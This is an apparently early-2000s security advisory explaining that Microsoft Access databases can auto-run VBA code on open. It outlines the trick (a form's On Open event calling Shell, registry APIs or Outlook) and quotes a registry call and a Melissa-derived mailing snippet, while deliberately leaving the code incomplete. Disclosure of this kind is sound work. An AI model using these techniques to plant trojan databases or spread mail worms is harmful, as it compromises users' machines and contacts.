Microsoft Access Trojan VBA code: The overlooked "macro virus" --[ Brief Summary: Microsoft Access Databases are not afforded "Macro execution protection" in the manner of Word/Excel/Powerpoint documents. Attackers can insert trojan VBA code into MS Access documents to execute arbitrary commands on the remote machine. --[ Foreground: There has been a great deal of discussion about MS Jet and ODBC not affording appropriate protection to metacharacters, and the subsequent inbound hooks from an IIS server. (I'm terribly oversimplifying an excellent article by rfp@wiretrip.net et al: http://www.securityfocus.com/bid/286) However, trojan applications have created a nasty media stir in the recent past. With Office 2000 protection from macros, Access stands alone as unprotected. Hence this spin on the trojan VBA issue. --[ Background: There has been (perhaps too much) publicity surrounding the trojan/virus capabilities of Microsoft Office applications which enable macro execution options. The use of these trojans should subside now that Microsoft has implemented more stringent security options into the Office 2000 suite. Specifically, under Tools|Macro|Security there are three security levels: High, Medium and Low (not recommended). The "High security" setting is the default option for Word, Excel, and Powerpoint. This setting states that "Only signed macros from trusted sources will be allowed to run. Unsigned macros are automatically disabled." Bye, bye Melissa. Thanx, Microsoft. The Office 2000 suite uses Visual Basic for Applications (VBA) as it's application-portable programming language. When a user records a macro in Word/Excel/Powerpoint, the actions are translated into VBA code. The subsequent VBA code sequence is then termed a macro, and afforded the protections of the security settings listed above. --[ Issue: The Access application, however uses VBA as an integral part of forms presentation and processing which is in turn an integral part of a stand-alone Access application. You turn off VBA, Access is neither shiny nor happy. An attacker can craft an MS Access database with a single form which auto-launches. When the database is opened, the form is presented automagically. Within the properties of the form, the "On Open" property (default sub of Form_Open) can contain VBA code. It happens like this: Double click Database (.mdb file) Open Database Show Form Execute VBA code The user simply opens the document, and the code is launched. --[ What can VBA do to me? Bad VBA code has been talked about in several threads. RFP mentions the VBA.Interaction.Shell command which executes a command on the local system. This is a quick and dirty payload, especially when coupled to the "regedit /s" command which would allow an attacker to create a .reg file, and import it into the registry. A cleaner way becomes available, which is not available to the ODBC method. The advapi32.dll API Reg*Ex allows direct registry IO without taking the time to upload a .reg file. These functions can simply be defined along with the hideous necesary constants inside the VBA code. In addition, an attacker can follow in the footsteps of Melissa et al and use the VBA.Interaction.CreateObject call to create an MS Outlook instance which sends trojan email to every address in the addressbook. *yawn* --[ Examples Simply click the attached Access application to see the effect this trojan can have on your system. =) Seriously, these examples require quite a few constant definitions to work. If you're good enough to get all the constants figured out, you're sharp enough to create these examples on your own. In short, I didn't show you how to do it. ;) Our REG*EX method simply relies on a syntactically clean call to RegCreteKeyEx to create a registry key: rc = RegCreateKeyEx(HKEY_CURRENT_USER, "johnny@ihackstuff.com", 0, "", _ REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, secattr, Result, Disposition) This line will create a key under HKEY_CURRENT_USER called "johnny@ihackstuff.com". Groovy. The other calls, including RegSetValueEx and RegDeleteKey do various groovy things too. In honor of Kwyjibo, we can use the VBA.Interaction.CreateObject method to spread like wildfire thanks to MS Outlook: ---Snip from Melissa--- Set UngaDasOutlook = CreateObject("Outlook.Application") Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI") If UngaDasOutlook = "Outlook" Then DasMapiName.Logon "profile", "password" Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0) BreakUmOffASlice.Recipients.Add "johnny@ihackstuff.com" BreakUmOffASlice.Subject = "Important Message From " & Application.CurrentUser BreakUmOffASlice.Send DasMapiName.Logoff ---snip--- Access doesn't implement the System library like MS Word does. Hence, the System.[doregistrystuff] calls won't work here. The system calls can be replaced with just about any API you care to 'Define' in the VBA code. Other VBA libraries such as the Application library shown above may prove as suitable replacements. --[ Conclusion Microsoft has certainly taken strides to protect against application trojans within the Office 2000 suite. However, MS Access would have to be (IMHO) gutted and fileted in order to follow the same security measures. In the mean time, be sure not to trust every MS Access database you stumble across in your inbox unless you're a pine user. ;) I have posted an example .MDB file illustrating some of the above examples on my web site http://johnny.ihackstuff.com/ in the security section. Be warned that the .MDB file will create a top-level registry key called "johnny@ihackstuff.com". I have "protected" (*hrmph*) the code by disabling the VBA editor, and shutting down Access as soon as the payload is delivered. Access gets all pissy about that, and sends out a hideous error, but it makes it a pain to use this maliciously. --[ Shouts Jake, Mac, Buddy, the Family ADM, "...'cuz damn" RFP for those writeups that take me days to really _get_ the boys and girls of CHAOS for keeping it real (the H.E.A.T. is on) route for right pointers ;) topher, coretez, dr. mudge, hobs, punkis The boys of HL "I'm Johnny. I hack stuff." - johnny@ihackstuff.com http://johnny.ihackstuff.com